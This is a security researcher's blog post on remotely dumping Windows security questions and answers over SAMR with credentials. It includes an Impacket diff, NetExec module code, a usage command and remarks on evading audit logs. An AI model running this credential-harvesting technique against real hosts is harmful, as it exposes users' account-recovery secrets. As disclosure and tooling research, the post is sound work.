Remotely dumping Windows security questions with Impacket
Adam Hassan / May 2024 (987 Words, 6 Minutes)
Table of Contents
Introduction
On May 7th, Grzegorz Tworek tweeted that the security questions for a Windows account are stored as UTF-16LE in the registry.
He later provided a proof of concept that allowed for dumping questions locally on a machine if you are Administrator.
Because I noticed the PoC was using SAMR1, I realized that I could do this remotely. If we can dump user questions and answers remotely, we can do so on a large IP range very quickly without having to execute any code on the host.
This is a blog about the short (but interesting) process of doing so.
Storage and format
The secret is stored in the registry: HKLM\SAM\SAM\Domains\Account\Users\...
as UTF-16LE and contains a JSON dictionary:
{
"version":1,
"questions": [
{
"question":"What's the name of the city where you were born?",
"answer":"Neverland"
},
{
"question":"What's the name of the first school you attended?",
"answer":"International School of Magic"
},
{
"question":"What was your childhood nickname?",
"answer":"Pete"
}
]
}
Development
Impacket
Impacket defines an enum USER_INFORMATION_CLASS
, which is a structure that determines how to interpret the Buffer
parameter when calling SamrQueryInformationUser
.
Each information type has an integer value and, while undocumented, 30
is UserResetInformation
.
Based on the PoC from Grzegorz, I made the following modifications:
diff --git a/impacket/dcerpc/v5/samr.py b/impacket/dcerpc/v5/samr.py
index e28c30865..73b181f5b 100644
--- a/impacket/dcerpc/v5/samr.py
+++ b/impacket/dcerpc/v5/samr.py
@@ -1067,6 +1067,12 @@ class SAMPR_USER_INTERNAL5_INFORMATION_NEW(NDRSTRUCT):
('PasswordExpired', UCHAR),
)
+class SAMPR_USER_RESET_INFORMATION(NDRSTRUCT):
+ structure = (
+ ('ExtendedWhichFields', ULONG),
+ ('ResetData', RPC_UNICODE_STRING),
+ )
+
# 2.2.7.28 USER_INFORMATION_CLASS
class USER_INFORMATION_CLASS(NDRENUM):
class enumItems(Enum):
@@ -1093,6 +1099,7 @@ class enumItems(Enum):
UserInternal5Information = 24
UserInternal4InformationNew = 25
UserInternal5InformationNew = 26
+ UserResetInformation = 30
# 2.2.7.29 SAMPR_USER_INFO_BUFFER
class SAMPR_USER_INFO_BUFFER(NDRUNION):
@@ -1120,6 +1127,7 @@ class SAMPR_USER_INFO_BUFFER(NDRUNION):
USER_INFORMATION_CLASS.UserInternal5Information : ('Internal5', SAMPR_USER_INTERNAL5_INFORMATION),
USER_INFORMATION_CLASS.UserInternal4InformationNew: ('Internal4New', SAMPR_USER_INTERNAL4_INFORMATION_NEW),
USER_INFORMATION_CLASS.UserInternal5InformationNew: ('Internal5New', SAMPR_USER_INTERNAL5_INFORMATION_NEW),
+ USER_INFORMATION_CLASS.UserResetInformation : ('Reset', SAMPR_USER_RESET_INFORMATION),
}
class PSAMPR_USER_INFO_BUFFER(NDRPOINTER):
You can view the full pull request here.
NetExec
Now that I had a version of impacket that supported the request I needed to make, I could work on making a module in NetExec.
I primarily based this on the samrdump.py
file that is part of impacket’s example scripts.
While there is a lot of boilerplate, all the new module does is make a request for UserResetInformation
with impacket’s API handle for SamrQueryInformationUser
.
The important part of the module can be seen here:
# Loop through all users, as obtained through `SamrEnumerationUsersInDomain`
for user in resp['Buffer']['Buffer']:
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
# Get struct that contains questions and answers for this user
info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'], samr.USER_INFORMATION_CLASS.UserResetInformation)
resetData = info['Buffer']['Reset']['ResetData']
if resetData == b'':
break
# Parse JSON from dictionary
resetData = json.loads(resetData)
questions = resetData['questions']
# Print results
for qna in questions:
question = qna['question']
answer = qna['answer']
context.log.highlight(f"{user['Name']} - {question}: {answer}")
samr.hSamrCloseHandle(dce, r['UserHandle'])
You can now use this module by running nxc smb <host> -u <username> -p <password> -M security-questions
.
You can view the full pull request here.
Note
Since the impacket PR hasn't been merged as of writing, you can only use the new netexec module if you modify pyproject.toml
to install impacket from my fork (for now).
diff --git a/pyproject.toml b/pyproject.toml
index 4ac1bed0..810748c1 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -43,7 +43,7 @@ beautifulsoup4 = ">=4.11,<5"
bloodhound = "^1.7.2"
dploot = "^2.7.1"
dsinternals = "^1.2.4"
-impacket = { git = "https://github.com/fortra/impacket.git" }
+impacket = { git = "https://github.com/adamkadaban/impacket.git" }
lsassy = ">=3.1.10"
masky = "^0.2.0"
minikerberos = "^0.4.1"
Opsec Considerations & Defense
After enabling every typical audit policy I could think of on my machine (see my EnableLogging script), I wasn’t able to see anything indicating malicious activity other than a log-on and log-off from the Administrator account.
While I have not tested it, Microsoft does seem to provide a way to find SAMR queries made to AD2.
Post-Development
After making both PRs and while writing this blog, I realized that this functionality apparently already existed in secretsdump.py
as of 2021 - but through dumping LSA.
If stored in LSA (they usually will not be), the results will be the same. I believe this is still useful, however, as the results are obtained differently and will always be returned if they exist for an account.